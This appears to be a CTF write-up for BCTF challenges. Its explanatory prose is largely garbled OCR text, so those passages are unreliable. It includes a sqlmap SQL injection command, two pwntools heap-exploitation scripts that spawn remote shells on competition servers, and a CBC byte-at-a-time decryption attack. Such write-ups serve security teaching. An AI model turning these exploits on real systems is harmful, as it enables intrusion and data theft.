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# WEB
##f Signature — 666
BHCEK T, WU

github bEHETFREEALIHH bbbecetttf£f, FHFE BIPMMAN, £
web/application/controllers/blog bakcup 2014. php &bH X4 —BACHE

~ php
public function index ()
{
$this—>load—>view( blog/v blog home backup 2014’ ) ;

$this—>session—>set userdata( array ( "logged in’ => yes’ ) ):

FREFRATH S0 V7 ) IX AN LA 5 B2 07 190 ) AR 0T sk AN 75 B8 ik 1 . AR5 AE admin U3 [ A0 3
userid b RILT sql 7FEAN A

~ php
public function index()
{
$this—>form validation—>set rules( userid’, ’Userid, ’required’):
if ($this—>form validation—>run()) {
$userid = $this—>input—>post ( userid ) ;

if ($this—>m payment—>waf ($userid)) {
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if ($this—>m payment—>get by userid($userid)) {

$this—>datal’ query success’ ] = 'Congraution!’ ;
} else {
$this—>datal’ query error’ ] = Wrong userid ;
}
I else {

$this—>datal query error’] = 'Illegal characters!’ :

$this—>load—>view( admin/v admin home’, $this—>data);

$this—>load—>view( template/v admin sidebar’, $this—>data);

H PN userid &34 T waf BREUGEE, (H2 waf BREIAATI oM 7, REETF3) fuzz AL
JETEeA A, KRIAEE T AT, AR5 L sqlmap, 44N space2comment [f) tamper SEid A
g, [RIBTEEA sqlmap BRIASAHHH and MAE or X FEH or KT /RETE, Frol KRB

sqlmap &40~

python sqlmap.py —u “http://payment. bctf. xctf. org. cn/index. php/admin” ——cookie
"betf session=xxx” ——user—agent “Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12;
rv:45.0) Gecko/20100101 Firefox/45.0” ——data “userid="||1%#” ——tamper space2comment —

—technique B ——dbms mysql

## admin only — 444

FaBILEMIIRE, M AR adnin, BE A nd5
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22 7 J5 & admin B 250Y, 7F admin B9 cookie H /& mdb fEJT & user

B cookie HHEHE N admin () md5 J& 15 i GUIHT, 3R 6160 A NRFER 54

£ github BRGNP NZFRFEH K

EH GitHub EABL— apk, &ZmiE)aH —E AES/ECB/PKCS5Padding )& HE

fie 5 ]33 flag

## babysqli — 156

BN ESA, T admin’ #piReidt, 5 H A WUEE B PUEE, abed KT —
N, KW dmtH 1 flag.

# PWN

## babyuse

use LJfg HLIEIAFAE UAF Ui, il 07 2ONSE % 4 4048, JFIH A select i AN — G HIAG S 4
T, BAECHRIER 4 MR, XANHEE A use BiAT BLAMUAIRIR, e R A I
"~ python

#!/usr/bin/env python

# coding=utf-8

from pwn import s

slog = 0
debug = 0
local = 0

if local:

p = process (. /babyuse’)
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libc = ELF( /1ib32/1ibc. s0.6")
else:
p = remote (’ 202. 112. 51. 247", 3456)
#libc = ELF( . /libc. so’)
p. recvuntil C Token:)

p. sendline ( BwmDoZ0J9Q jSFF65dgYP5eoN jGvoY17K’ )

if slog: context. log level = ’DEBUG’

def buy(gun type, length, name):
p.recvuntil C 7. Exit’)
p. sendline (" 17)
p.recvuntil C 2. QBZ95")
p. sendline (str(gun type))
p.recvuntil C Lenth of name: )
p. sendline (str(length))
p.recvuntil C Input name:’)

p. sendline (name)

def drop (index) :
p. recvuntil C 7. Exit’)
p. sendline (" 6’)
p. recvuntil ( Choose a gun to delete:’)

p. sendline (str(index))

def select (index) :
p.recvuntil C 7. Exit’)
p. sendline (" 2")
p.recvuntil " Select a gun’)

p. sendline (str (index))

def use(option):
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p.recvuntil C 7. Exit’)
p. sendline (" 5’)
p.recvuntil C 4. Main menu’)

p. sendline (str (option))

def rename (index, length, name):

p.recvuntil C 7. Exit’)

p. sendline (" 4’)

p. recvuntil  Choose a gun to rename:’)

p. sendline (str(index))

p.recvuntil C Lenth of name: )

p. sendline (str (length))
p.recvuntil C Input name:’)

p. sendline (name)

buy (1, 0x50, ’a’

buy (1, 0x60, ’b’)
buy (1, 2, '¢’)

buy (1, 2, "d’)
select (2)

drop(0)

drop (1)

drop (2)

drop (3)

buy (1, 0x20000, "a’)

p.recvuntil C 7. Exit’)

p. sendline " 5’)
p.recvuntil " Select gun ’)
leak heap = u32(p.recv(4))

print ’leak heap addr is’, hex(leak heap)
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p.recvuntil C 4. Main menu’)

p. sendline (" 4’)

heap base = leak heap — 0x20
buy (1, 0xf4, ’a’ * Oxdc + p32(heap base + 0Oxllc))

p.recvuntil C 7. Exit’)

p. sendline (" 5’)
p.recvuntil C Select gun ')
leak libc = u32(p.recv(4))

print ’leak libc addr is’, hex(leak libc)

if local:
libc _base = leak libc — 0x1b37b0
system addr = libc base + libc. symbols[’ system’ ]
else:
libc base = leak libc — 0x1b27b0

system addr = libc base + 0x3ada0

print ~sytem addr is ’, hex(system addr)

p.recvuntil C 4. Main menu’)

p. sendline (" 4’)

drop (1)
buy (1, 0xf4, (/sh\0" + p32(system addr)).1just(0xd8, “a’) + p32(heap base + 0x28) +
p32 (heap base + 0xllc) + ”);/bin/sh”)

if local and debug: gdb.attach(p, open(’ debug’))
p.recvuntil C 7. Exit’)
p. sendline (" 5’)

p.recvuntil C 4. Main menu’)
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p. sendline (C 2")

p. interactive ()

## poisonous_milk
A FEA AT -
put_milk Zjjfg B AR AN AR & Bt 2 S BORE XA 51, 7T BLE XA il Rk itk %
Hu gk
”‘C
do
{
v3 = (char *)*v2;
if ( !stremp(*v2, &s2) )
vl->color = v3;

++v2; //v1->color Ff—E & HRE

drink 7€ free HEBLJGI% A % milks fe4FE 2, Wt SE T UAF R, FAHK AT PLE put milk
%5 # milks—>head Ml milks—>tail, 3R] I EAT B HELA free (LR 545N

v7 = (std::ostream *)std::ostream::put((std::ostream *)&std::cout, v6);
std: :ostream: :flush (v7) ;

milks—>head = OLL;

v8 = milks;

milks—>tail = OLL;
v8—>top = OLL;
std:: ostream insert<{char, std::char traits<char>>(
&std: :cout,
“"Huang Xudong has activated his magic and program will soon die for his poisonous
milk : (7,
88LL) ;
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SEEE A AR a0 R
" python
#!/usr/bin/env python

# coding=utf-8

from pwn import sk

slog = 1
debug = 1
local = 0

if slog: context. log level = ’DEBUG’

if local:
p = process (. /poisonous milk’)
libc = ELF( /1ib/x86 64-1inux—gnu/libc. so.6’)
else:
p = remote (' 52.27.136.59", 6969)
libe = ELF (. /libc-2.23.s0")
p. recvuntil C Token:’)

p. sendline (" BwumDoZo0J9Q jSFF65dgYP5eoN jGvoY17K’ )

def put milk(flags, color):
p. recvuntil C> 7)
p. sendline C put’)
p. recvuntil C flags (0-99):)
p. sendline (flags)
p. recvuntil C color:’)

p. sendline (color)

def view():

p.recvuntilC > )
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p. sendline C view’ )

def remove (index) :
p.recvuntil > )
p. sendline ( remove’)
p. recvuntil C index : )

p. sendline (str(index))

def drink():
p. recvuntil (> 7)

p. sendline C drink’)

def 1just(astr, length, padding = ’a’):

return astr. 1just(length, padding)

for i in range (20) :
put milk(’1’, "atack’)

view()

p.recvuntil C [17] [7)

leak heap = u64(p. recv(6).1just (8, *\x00’))
print ~leak libc is’, hex(leak heap)
p.recvuntil C [18] [7)

leak libc = u64(p.recv(6).1just(8, \x00"))

print ~leak libc is’, hex(leak libc)

drink ()
put milk(p64 (leak heap — 0x120) + p64(leak heap — 0x120 + 0x28), ’attack’)

payload = p64(leak heap + 0x40) + p64(leak heap + 0x60) + p64(leak heap + 0xb0) +
p64 (leak heap + 0xd0) + p64(leak heap + 0x10) + p64(leak heap + 0xd0)
payload = payload. 1just (0x50, 'b’)

put milk(payload, ’red’)
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if local:

libc base = leak libc — 0x398b68

else:
libc base = leak libc — 0x3C3B88

system addr = libc base + libc. symbols[ system’ ]

log. info( system addr is '+ hex(system addr))

free hook = libc base + libc. symbols[’ free hook’ ]

put milk(C d’ *0x50, ’red’)
payload = p64(0) + p64(0x41)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x51)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x41)

put milk (payload, “red”)

put milk(ljust(p64(0) + p64(0) + p64(0) + p64(0x61) + p64(0) + p64(0), 0x50), ’red’ )

remove (1)

remove (0)

log. info(“fastbin attack”)

put milk C /bin/sh\x00’ . 1just (0x10, "a’) + p64(0) + p64(0x51) + p64(0x61) + "a’ *0x8,
"red’)

put milk C \x00" * 0x40, ’red’ )

remove (1)

remove (0)

put milk(1ljust(C a’ *0x10 + p64(0) + p64(0x61) + p64(leak libc — 0x50), 0x50), 'red )
put milk(1just (p64(0) + p64(leak heap + 0x40), 0x50, *\x00), ’red )
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remove (0)

log. info(“control main arena—->top”)
put milk(1just (p64(0)*6 + p64 (free hook — 0xa90) + p64(leak heap + 0xb0) +
p64 (leak libc — 0x10)*2, 0x50, ’\x00’), ’red’ )
for i in range (10) :
put milk C \x00" * 0x50, 'red )
for i in range(4):
put milk C \x00" * 0x50, "red’ )
put milk C \x00" * 0x30, 'red )
for i in range(4):

put milk C \x00" * 0x50, 'red )

put milk C \x00" * 0x30, 'red )

#tview ()

put milk C \x00" * 0x20, 'red )

put milk C \x00" * 0x20, "red )

put milk C \x00" * 0x20, 'red )

if local and debug: gdb. attach(p, open( debug’))

put milk(1just (p64(0)*6 + p64(system addr), 0x50, *\x00’), ’red )
remove (0)

p. interactive ()

# MISC

## foolme — 289

NEEN KR

A UUE B0 i 55 a5 B AT 3R 2 Y AR 7

F— % nd5
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SRIGHEZE token f4 #AR ]

IRJG R AR AT base64 N 1 & 1) HdE

XA o e B A s e B AR R A 2 1 R

Rl & o0t B R gt AT 038 I ANRE 2 B F 38

sl

PUR 22 20 0 e milis < B tsed 1 iX—%

D P B R LA

" python

# coding=utf-8

import re

from pwn import
import hashlib
import base64

import struct
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import os

7202.112.51. 176
PORT = 9999
BUFFER = 4096

HOST

def get md5 value(src):
myMd5 = hashlib. md5 ()
myMd5. update (src)
myMd5 Digest = myMd5. hexdigest ()

return myMdb Digest

r = remote (HOST, PORT)
title = r.recv (BUFFER)
back = title.split(C+”")[1][0:10]
check = title.split(==")[1][0:4]

for i in range (1, 100000) :
if get md5 value(str(i)+back) [:4] == check:
print str(i), “#”, back, “#”, get md5 value (str (i) +back)
r. sendline (str(i))
break
if 1 % 10000 == O:
print i
then = r. recv (BUFFER)
r. sendline ("XXX”)

then = r. recv (BUFFER)

print then

”

print 7
f = open(”/home/pinko/Desktop/test. jpg”, “rb”)
pic = f.read()

print len(pic)
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r. sendline (base64. b64encode (pic))

then = 1. recv (BUFFER)

print then

# Reverse

## pingpong — 555

FR B G, AR L Java HEBAHERWE, CEHT O-LLWEHE, EHEREEAK ¥
R BV NS ek & 5 e B E. EWEE Java JEP 4, BORBAMKIX S ping pong iM%
w4t 100 JTIR.

" Java
public MainActivity() {
super () ;
this.p = 0;
this.num = 0;

1000000;

this. ttt
this. tt = this. ttt;
this. jping = new com. geekerchina. pingpongmachine. MainActivity$1 (this) ;

this. jpong = new com. geekerchina. pingpongmachine. MainActivity$2 (this) ;

public void onClick(View arg7) {

if MainActivity. this.tt % 2 == 1) {

MainActivity. this.p = 0;
MainActivity. this.num = O;

MainActivity. this. tt = MainActivity. this. ttt;
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——MainActivity. this. tt;
MainActivity. this.p = MainActivity. this.ping(MainActivity. this.p,
MainActivity. this. num) ;
++MainActivity. this. num;
if MainActivity. this.num >= 7) {

MainActivity. this.num = O;

View vO = MainActivity. this. findViewById(2131427414) ;
((TextView) v0). setText ("PING”) ;
if MainActivity. this. tt == 0) {
((TextView)v0). setText ("FLAG: BCTF {MagicNum” +

Integer. toString (MainActivity. this.p) + “}7);

}
}

public void onClick (View arg7) {
if MainActivity. this.tt % 2 == 0) {
MainActivity. this.p = 0;
MainActivity. this.num = O;
MainActivity. this. tt = MainActivity. this. ttt;

}

—MainActivity. this. tt;
MainActivity. this.p = MainActivity. this. pong(MainActivity. this. p,
MainActivity. this. num) ;
++MainActivity. this. num;
if MainActivity. this.num >= 7) {

MainActivity. this.num = O;

View vO = MainActivity. this. findViewById(2131427414) ;

((TextView)v0). setText ("PONG”) :
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if MainActivity. this. tt == 0) {
((TextView)v0). setText ("FLAG: BCTF {MagicNum” +
Integer. toString MainActivity. this.p) + “}7):
}

£ CIESRM sleep () EHiE—F, WRBEHMH ST EEEA®E, KK sleep —#F patch
#, "TPAMCA mov rl, rl.
ZJEBEE — ML MEREF AR, KXEH ping M pong it 100 /5K, BEjaHnH 45

— SR B AR N

~ Java
super. onCreate (savedInstanceState) ;
setContentView(R. layout. activity main) ;

int p = 0;

|
o

int num =

p = pong(p, num);
num ++;
for(int tt = 1000000 - 1; tt !=0; —tt){
if(tt % 2 == 0) {
p = ping(p, num) ;
num ++;
if (num >=7) num = 0;
Jelse{
p = pong(p, num);
num ++;

if(hum >= 7) num = 0;

}

//Log. e "yourdad”, Integer. toString(p));
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((TextView) findViewByld (R. id. a)). setText (String. valueOf (p)) ;

# Crypto

## Hulk — 400

SR TE FRHATTRIE ) N AT W SCRO AT — 8800, SR N (3 SCEE AL, 28 ORI TV, WSC LR
o T cbe BFFE, AT BOIE RIS R BAE R - BOInE RIaG R IV, BT SR L TV
AP R BREE R, key tB—HF, ABAMATINE & %3 SCHE—FF. X BEA I AT DA &G 25
TNE RN, TR flag, EARBUTALT,

S RN -

| U2

..............................................

IM%wmiw}—

FATRE AN 31 575, XFEEE 32 T2 flag MIZBE — D45
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N

BASC 514H2

IM%wmiw}—

SR G CASE — VI (3 SC A R B G 16 71 1E TV, SEERATTAIE (B S A T s, X B ss —

UOINEE WIS 20 1A TV B SR B, 45 T35 — OB WA SCor 4 2 AN SO 28 1 B 5w iqi, kA
TP 2 S 25 S8 5 fe—BERT, BT ARATRBL flag (58— 775, UM Sc—FERE, ST eiE
B flag MEE—AF 1, SREIRAOTER AT LURME T — 575,

ZdM, FTRARNIE flag ML 38 74717, X BT R4 rEAR A, BRI A IR
FERIE, SEWSCETHIA 16 715 Frolan R e —omEmA-E 10 775, ik 38 51y

flag, 1EGF 16 HIHEELRE, BRI S04 RN 48+16=64 717, PIAIHA T 16 7715,

H T AN EEART 48 7797 (96/2) , Frl AR Z T LIME =JmA, HT flag K
FE 38 75, RWIE—N, FrUGRAMRMEH SO 3, XA, AHFEIE flag ALK

IS i i TR AC BEANE AR T

FRBA AR -
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" python

from pwn import sk

def hex2int (a) :

return int(a, 16)

def int2hex(a) :
b ="%" % a
if (len(b)<32):
b = b.rjust(32,70")
return b
flag = 7~
for i in range(0, 38) :
length = len(flag)/2
for j in range (33, 127) :
p = remote (7202.112.51. 2177, 9999)
p.recvuntil (“Give me the first hex vaule to encrypt: 0x”)
padding len = 47 - length
padding = padding len*2% 0’
p. sendline (padding)
p. recvuntil (“ciphertext: ”)
ciphertextl = p.recvline() [2:-1]
#al:the second block of ciphertext
al = ciphertext1[32:64]

#a2:the third block of plaintext

if (len(flag)<16) :
a2 = flag + hex(j)[2:]
a2 = a2.rjust(32,707)
else:
a2 = flag[-30:] + hex(j)[2:]

#a3:the third block of ciphertext
a3 = ciphertext1[64:96]

#ad:the last block of ciphertext
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a4 = ciphertext1[-32:]
#ab:the second input
ab = hex2int(al) hex2int (a2) hex2int (a4)
p.recvuntil (“Give me the second hex vaule to encrypt: 0x”)
p. sendline (int2hex (a5))
p. recvuntil (“ciphertext: ”)
ciphertext2 = p.recvline() [2:-1]
p. close ()
if (ciphertext2[0:32]==a3) :
flag += hex(j) [2:]
print flag
break

print flag. decode (“hex”)
#betf {3c1fffb76£147d420f984ac651505905}
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